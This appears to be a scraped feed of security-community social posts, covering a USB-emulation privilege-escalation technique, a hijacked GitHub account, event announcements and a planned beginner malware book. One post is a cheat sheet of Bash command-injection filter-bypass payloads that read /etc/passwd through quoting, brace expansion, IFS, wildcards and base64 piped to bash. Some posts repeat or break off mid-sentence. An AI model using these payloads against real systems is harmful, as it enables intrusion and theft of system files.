HAIJA INTEL REPORT

Incredible research. It's like an LPE 0-day factory with an on-demand BYOVD when you plug in the USB stick. You don't need a USB. You need to look like one. Emulate the device, Windows fetches a signed package off Windows Update and runs vendor code as SYSTEM. Arbitrary code exec

URGENT: My Github got hacked and all my ownership rights were stripped. Repositories like Blender MCP (25k stars) and Ableton MCP (2.6k stars) along with personal projects I'm working on have been taken away. Anyone at @github that can help?

Don't miss our upcoming webinar feat. Kaleb Pomeroy & @zinic discussing practical lessons on designing with MCP, including how security and access boundaries influence agent interactions. Save your spot! https:// ghst.ly/4hbh44x

Bug bounty platforms, wanna win back some community? integrate some live hacking events with defcon and sponsor attendance

Read this and get hobbies outside of the hacking space! This past week I’ve been asked several times by people of different ages “how do you research and publish so much?”. It’s awesome to be asked. I love sharing tips and I try to give my techniques for maintaining a research pi

This past week I’ve been asked several times by people of different ages “how do you research and publish so much?”. It’s awesome to be asked. I love sharing tips and I try to give my techniques for maintaining a research pipeline. But I also want to be honest about my reality. W

I've had so many people talk to me about looking for entry level material for malware, I've decided to give writing a book another try. I'm going to call it "Malware for Noobs" and just schizo rant a bunch on my blog until I think it's enough for a book

Bash RCE Bypass Tricks Empty Quote Split c''at /etc//passwd Brace Expansion {cat,/etc//passwd} IFS Space Replace cat${IFS,}/etc//passwd Wildcard Path /???/ca? /e*/p*wd Reverse Execution $(rev<<<'dwssap/cte/ tac') Base64 Self-Decode echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|bash

I sat down and did some schizo ranting for my attempt at a book I might name "Malware 4 Noobs" (no idea yet). Here is my introduction segment, part zero (no reforms or changes made yet). If you're noob, please read and give feedback.

We're thrilled that @intigriti is a Gold sponsor for Hack Glasgow 2026! Intigriti specialise in crowdsourced security solutions, empowering talented researchers to find vulnerabilities and direct their discoveries to the right people, and supporting organisations [...]

Nah, but bro said, "vx-underground is an educational website about malware; everything they use or test is done for ethical purposes. It is important to get informed before looking for someone to blame." tinchoocabrera is the homie wtf i love him